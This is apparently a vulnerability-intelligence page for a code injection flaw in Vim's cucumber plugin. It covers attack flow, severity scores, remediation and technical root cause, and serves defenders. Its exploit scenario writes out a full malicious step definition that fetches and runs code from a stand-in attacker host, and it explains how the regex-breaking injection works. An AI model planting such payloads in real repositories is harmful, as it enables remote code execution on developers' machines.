Skip to main content

Vim EUVDEUVD-2026-36280

| CVE-2026-47167 MEDIUM
Code Injection (CWE-94)
2026-06-11 GitHub_M
5.1
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Craft malicious .rb step definition with injected payload
  2. Delivery
    Host or contribute it to a repository
  3. Exploit
    Victim clones repository and opens .feature file in +ruby Vim
  4. Install
    Victim presses [d on a step line
  5. C2
    s:stepmatch() embeds pattern into Kernel.eval()
  6. Execute
    Arbitrary Ruby executes system() call
  7. Impact
    Shell commands run as victim user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three concurrent conditions: (1) the victim's Vim binary must be compiled with +ruby support - this is a non-default build option absent from the standard Vim packages shipped by Debian, Ubuntu, and many other distributions (verify with vim --version); (2) the victim must open a .feature (Cucumber) file sourced from a repository where the attacker controls at least one .rb step definition file under a features/*/ or stories/*/ subdirectory; and (3) the victim must invoke the [d or ]d step-jump mapping while the cursor is positioned on a step line - this is an explicit keystroke, not triggered by merely opening or saving the file. Exploitation is limited entirely to the victim's user privilege level; no privilege escalation is inherent. No authentication to the victim's system is required from the attacker side, but the attack is constrained to developer workstations actively using Cucumber test workflows.

Impact

The vendor-assigned CVSS 4.0 score of 5.1 (Medium) with vector AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:L reflects a conservative impact framing, but the actual code-execution capability warrants a higher severity assessment when +ruby is present. The PR:L and low-impact ratings in the supplied vector appear to understate the threat: the attacker requires no credentials on the victim system, only control of a repository the victim clones, and successful exploitation yields arbitrary shell command execution under the victim's user account. The +ruby compilation requirement is a meaningful population limiter - many Linux distribution packages ship Vim without Ruby bindings - and is the primary factor keeping real-world risk contained. No EPSS data was provided and no CISA KEV listing exists, indicating no observed mass exploitation. However, the working PoC in the patch commit lowers the barrier for targeted developer workstation attacks, particularly in supply-chain scenarios against Ruby/Cucumber CI contributors. CVSS vector tension: the supplied vector's VC:L/VI:L/VA:L conflicts with the actual arbitrary shell execution capability described; defenders should treat confirmed successful exploitation as C:H/I:H/A:H.

Exploit ScenarioDerived

An attacker contributing to or creating a public Cucumber Ruby repository embeds a malicious step definition such as Given /xyzzy/; system("curl attacker.com/payload | bash"); #/ do in a .rb file under features/step_definitions/. When a victim developer clones the repository and opens a corresponding .feature file in a +ruby Vim build, pressing [d on a step line causes s:stepmatch() to call Kernel.eval() with the injected pattern, executing the shell payload as the victim's user. A working proof-of-concept demonstrating this exact technique (using system("touch MARKER")) is present in the patch commit's test suite at src/testdir/test_filetype.vim.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 11, 2026

Code injection via unsanitized step-definition patterns in Vim's cucumber filetype plugin allows arbitrary Ruby and shell command execution on any Vim build compiled with +ruby support, prior to version 9.2.0496. An attacker who controls .rb step definition files in a repository can craft a regex-terminating payload that escapes a Kernel.eval() argument, enabling full shell access as the victim's user when the developer invokes the [d or ]d step-jump mapping. No public exploit identified at time of analysis, but the patch commit includes a working proof-of-concept demonstrating the injection technique.

RemediationAI

Upgrade to Vim 9.2.0496 or later, available at https://github.com/vim/vim/releases/tag/v9.2.0496; the fix commit is https://github.com/vim/vim/commit/a65a52d684bc58535ad28a4ae824d22e76399934. If immediate upgrade is not possible, add let g:loaded_ftplugin_cucumber = 1 to vimrc before any plugin load to disable the cucumber plugin entirely; this eliminates the attack surface but removes [d and ]d step-jump navigation from .feature files. Alternatively, ensure the deployed Vim binary is compiled without +ruby support (verify with vim --version | grep ruby showing -ruby), which renders the vulnerable code path unreachable at no functional cost to users who do not use Ruby-based step definitions. Restricting trust of third-party repositories and auditing .rb step definition files before opening them in Vim is a supplemental control with no Vim-side side effects.

Affected VersionsENISA

vim < 9.2.0496

Affected Packages

euvd vim fix: 9.2.0496

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerable code resides in runtime/ftplugin/cucumber.vim, function s:stepmatch(), which is invoked when Vim resolves step-jump mappings ([d, ]d) for Cucumber BDD feature files. Vim reads step-definition patterns from .rb files under the repository's features/*/ or stories/*/ directories and embeds them directly into a Ruby inline block passed to Kernel.eval() as a regex literal: Kernel.eval('/'+VIM.evaluate('pattern')+'/'). Because no escaping is applied, a pattern such as xyzzy/; system("cmd"); #/ terminates the regex literal at the first slash, injects arbitrary Ruby via system(), and uses a comment to suppress the trailing delimiter. CWE-94 (Code Injection) is the precise root cause - attacker-controlled data crosses from a data context into an executable code context. The fix replaces Kernel.eval() with Regexp.new(), which parses the pattern strictly as regex data and raises RegexpError on malformed input rather than executing it. Affected CPE is cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:* for all versions prior to 9.2.0496.

Know when Vim gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
vuln.today AI 7.5 HIGH

AC:H for the non-default +ruby build prerequisite; PR:N because attacker needs no victim-system credentials; S:U since shell commands execute under the same user context as Vim.

3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE 7.8 HIGH
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Red Hat 7.3 HIGH

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Jun 11, 2026 - 20:01 EUVD

DescriptionCVE.org

Vim is an open source, command line text editor. Prior to version 9.2.0496, a code injection vulnerability exists in s:stepmatch() in the cucumber filetype plugin (runtime/ftplugin/cucumber.vim) on Vim builds with +ruby support. Step-definition patterns read from .rb files under the repository's features/*/ or stories/*/ directories are embedded into a Ruby Kernel.eval argument without sufficient escaping, allowing a crafted pattern in an attacker-controlled repository to execute arbitrary Ruby (and through it arbitrary shell commands) when the user invokes a step-jump mapping ([d, ]d). This issue has been patched in version 9.2.0496.

Threat Intelligence Overview

EPSS Score
0.0%
Top 86% exploitable
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment MSRC Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Vim

View all
CVE-2022-3520 CRITICAL POC
9.8 Dec 02

Heap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.0765. Rated critical severity (CVSS 9.8), this vuln

CVE-2022-0729 HIGH POC
8.8 Feb 23

Use of Out-of-range Pointer Offset in GitHub repository vim/vim prior to 8.2.4440. Rated high severity (CVSS 8.8), this

CVE-2026-34714 HIGH POC
8.6 Mar 30

Code execution vulnerability in Vim before 9.2.0272 allows attackers to gain immediate arbitrary command execution upon

CVE-2019-12735 HIGH POC
8.6 Jun 05

getchar.c in Vim before 8.1.1365 and Neovim before 0.3.6 allows remote attackers to execute arbitrary OS commands via th

CVE-2021-3968 HIGH POC
8.0 Nov 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 8.0), this vulnerability is remotely exploita

CVE-2022-1616 HIGH POC
7.8 May 07

Use after free in append_command in GitHub repository vim/vim prior to 8.2.4895. Rated high severity (CVSS 7.8), this vu

CVE-2022-1619 HIGH POC
7.8 May 08

Heap-based Buffer Overflow in function cmdline_erase_chars in GitHub repository vim/vim prior to 8.2.4899. Rated high se

CVE-2021-4136 HIGH POC
7.8 Dec 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication

CVE-2021-3973 HIGH POC
7.8 Nov 19

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication

CVE-2021-3927 HIGH POC
7.8 Nov 05

vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication

CVE-2022-2125 HIGH POC
7.8 Jun 19

Heap-based Buffer Overflow in GitHub repository vim/vim prior to 8.2. Rated high severity (CVSS 7.8), this vulnerability

CVE-2022-2126 HIGH POC
7.8 Jun 19

Out-of-bounds Read in GitHub repository vim/vim prior to 8.2. Rated high severity (CVSS 7.8), this vulnerability is no a

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SLES15-SP5-CHOST-BYOS-SAP-CCloud Affected
SLES15-SP6-CHOST-BYOS Affected
SLES15-SP6-CHOST-BYOS-Aliyun Affected
SLES15-SP6-CHOST-BYOS-Azure Affected
SLES15-SP6-CHOST-BYOS-EC2 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy